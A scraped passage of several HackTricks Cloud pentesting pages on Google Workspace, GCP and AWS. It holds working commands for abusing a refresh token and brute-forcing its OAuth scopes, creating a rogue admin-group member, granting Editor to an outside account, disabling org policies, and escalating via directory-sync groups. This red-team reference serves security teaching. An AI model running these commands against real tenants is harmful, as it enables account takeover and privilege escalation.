LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } } foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } } Write-Output "" } } Remove-Item -Path $dumpFolder -Recurse -Force Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command: bash curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ https://www.googleapis.com/oauth2/v4/token note Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**. Also, the refresh token is not valid in every application. By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`: Bash script to brute-force scopes bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done echo "" echo "" echo "Valid scopes:" cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt And this is the output I got at the time of the writing: https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/contacts bash # Create new user curl -X POST \ 'https://admin.googleapis.com/admin/directory/v1/users' \ -H 'Authorization: Bearer ' \ -H 'Content-Type: application/json' \ -d '{ "primaryEmail": "deleteme@domain.com", "name": { "givenName": "Delete", "familyName": "Me" }, "password": "P4ssw0rdStr0ng!", "changePasswordAtNextLogin": false }' # Add to group curl -X POST \ 'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \ -H 'Authorization: Bearer ' \ -H 'Content-Type: application/json' \ -d '{ "email": "deleteme@domain.com", "role": "OWNER" }' # You could also change the password of a user for example caution It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - IAM Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. [](#service-account-impersonation) ----------------------------------- You can find further information about IAM in: [GCP - IAM, Principals & Org Policies Enum](../gcp-services/gcp-iam-and-org-policies-enum.html) ### [](#granting-access-to-management-console) Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**. To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor. You can use the following command to **grant a user the primitive role of Editor** to your existing project: bash gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor If you succeeded here, try **accessing the web interface** and exploring from there. This is the **highest level you can assign using the gcloud tool**. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GWS - Admin Directory Sync - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 5 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) . At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:** * **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**. * **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID. Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID. Other options that it will allow during this synchronization are: * Send an email to the new users to log-in * Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account. * Select the **groups containing the users** that will be synced. * Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups). If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace. However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**. When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized. * Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**. * If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account. Once you access the user inside Workspace it might be given some **permissions by default**. You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this). note Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized. If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions. There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@` usually has high privileges over GCP. If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen. **The user will be added in the group `gcp-organization-admins@` escalating privileges in GCP.** Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment. I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Orgpolicy Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. An attacker leveraging **orgpolicy.policy.set** can manipulate organizational policies, which will allow him to remove certain restrictions impeding specific operations. For instance, the constraint **appengine.disableCodeDownload** usually blocks downloading of App Engine source code. However, by using **orgpolicy.policy.set**, an attacker can deactivate this constraint, thereby gaining access to download the source code, despite it initially being protected. bash # Get info gcloud resource-manager org-policies describe [--folder | --organization | --project ] # Disable gcloud resource-manager org-policies disable-enforce [--folder | --organization | --project ] A python script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) . * [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Firestore Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/) ---------------------------------------------------------------------------- Cloud Firestore, provided by Firebase and Google Cloud, is a **database that is both scalable and flexible, catering to mobile, web, and server development needs**. Its functionalities are akin to those of Firebase Realtime Database, ensuring data synchronization across client applications with realtime listeners. A significant feature of Cloud Firestore is its support for offline operations on mobile and web platforms, enhancing app responsiveness even in conditions of high network latency or absence of internet connection. Moreover, it is designed to integrate smoothly with other products from Firebase and Google Cloud, such as Cloud Functions. bash gcloud firestore indexes composite list gcloud firestore indexes composite describe gcloud firestore indexes fields list gcloud firestore indexes fields describe gcloud firestore export gs://my-source-project-export/export-20190113_2109 --collection-ids='cameras','radios' tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - KMS Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 5 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. The [**Cloud Key Management Service**](https://cloud.google.com/kms/docs/) serves as a secure storage for **cryptographic keys**, which are essential for operations like **encrypting and decrypting sensitive data**. These keys are organized within key rings, allowing for structured management. Furthermore, access control can be meticulously configured, either at the individual key level or for the entire key ring, ensuring that permissions are precisely aligned with security requirements. KMS key rings are by **default created as global**, which means that the keys inside that key ring are accessible from any region. However, it's possible to create specific key rings in **specific regions**. * **Software keys**: Software keys are **created and managed by KMS entirely in software**. These keys are **not protected by any hardware security module (HSM)** and can be used for t**esting and development purposes**. Software keys are **not recommended for production** use because they provide low security and are susceptible to attacks. * **Cloud-hosted keys**: Cloud-hosted keys are **created and managed by KMS** in the cloud using a highly available and reliable infrastructure. These keys are **protected by HSMs**, but the HSMs are **not dedicated to a specific customer**. Cloud-hosted keys are suitable for most production use cases. * **External keys**: External keys are **created and managed outside of KMS**, and are imported into KMS for use in cryptographic operations. External keys **can be stored in a hardware security module (HSM) or a software library, depending on the customer's preference**. * **Symmetric encryption/decryption**: Used to **encrypt and decrypt data using a single key for both operations**. Symmetric keys are fast and efficient for encrypting and decrypting large volumes of data. * **Supported**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt) , [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt) * **Asymmetric Signing**: Used for secure communication between two parties without sharing the key. Asymmetric keys come in a pair, consisting of a **public key and a private key**. The public key is shared with others, while the private key is kept secret. * **Supported:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign) , [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey) * **Asymmetric Decryption**: Used to verify the authenticity of a message or data. A digital signature is created using a private key and can be verified using the corresponding public key. * **Supported:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt) , [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey) * **MAC Signing**: Used to ensure **data integrity and authenticity by creating a message authentication code (MAC) using a secret key**. HMAC is commonly used for message authentication in network protocols and software applications. * **Supported:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign) , [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify) By **default**, each **90 days** but it can be **easily** and **completely customized.** The "Programmed for destruction" period is the **time since the user ask for deleting the key** and until the key is **deleted**. It cannot be changed after the key is created (default 1 day). Each KMS key can have several versions, one of them must be the **default** one, this will be the one used when a **version is not specified when interacting with the KMs key**. Having **permissions to list the keys** this is how you can access them: bash # List the global keyrings available gcloud kms keyrings list --location global gcloud kms keyrings get-iam-policy # List the keys inside a keyring gcloud kms keys list --keyring --location gcloud kms keys get-iam-policy # Encrypt a file using one of your keys gcloud kms encrypt --ciphertext-file=[INFILE] \ --plaintext-file=[OUTFILE] \ --key [KEY] \ --keyring [KEYRING] \ --location global # Decrypt a file using one of your keys gcloud kms decrypt --ciphertext-file=[INFILE] \ --plaintext-file=[OUTFILE] \ --key [KEY] \ --keyring [KEYRING] \ --location global [GCP - KMS Privesc](../gcp-privilege-escalation/gcp-kms-privesc.html) [GCP - KMS Post Exploitation](../gcp-post-exploitation/gcp-kms-post-exploitation.html) * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Federation Abuse - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For info about SAML please check: [SAML Attacks - HackTricks](https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html) In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) In order to add a github action as Identity provider: 1. For _Provider type_, select **OpenID Connect**. 2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` 3. Click on _Get thumbprint_ to get the thumbprint of the provider 4. For _Audience_, enter `sts.amazonaws.com` 5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: * { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Principal": {\ "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"\ },\ "Action": "sts:AssumeRoleWithWebIdentity",\ "Condition": {\ "StringEquals": {\ "token.actions.githubusercontent.com:sub": [\ "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",\ "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"\ ],\ "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"\ }\ }\ }\ ] } 6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. 7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. 8. Finally use a github action to configure the AWS creds to be used by the workflow: yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: pull_request: branches: - main # Required to get the ID Token that will be used for OIDC permissions: id-token: write contents: read # needed for private repos to checkout jobs: aws: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Configure AWS Credentials uses: aws-actions/configure-aws-credentials@v1 with: aws-region: eu-west-1 role-to-assume:${{ secrets.READ_ROLE }} role-session-name: OIDCSession - run: aws sts get-caller-identity shell: bash bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate bash # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: json { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Principal": {\ "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"\ },\ "Action": "sts:AssumeRoleWithWebIdentity",\ "Condition": {\ "StringEquals": {\ "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"\ }\ }\ }\ ] } This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", * [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by 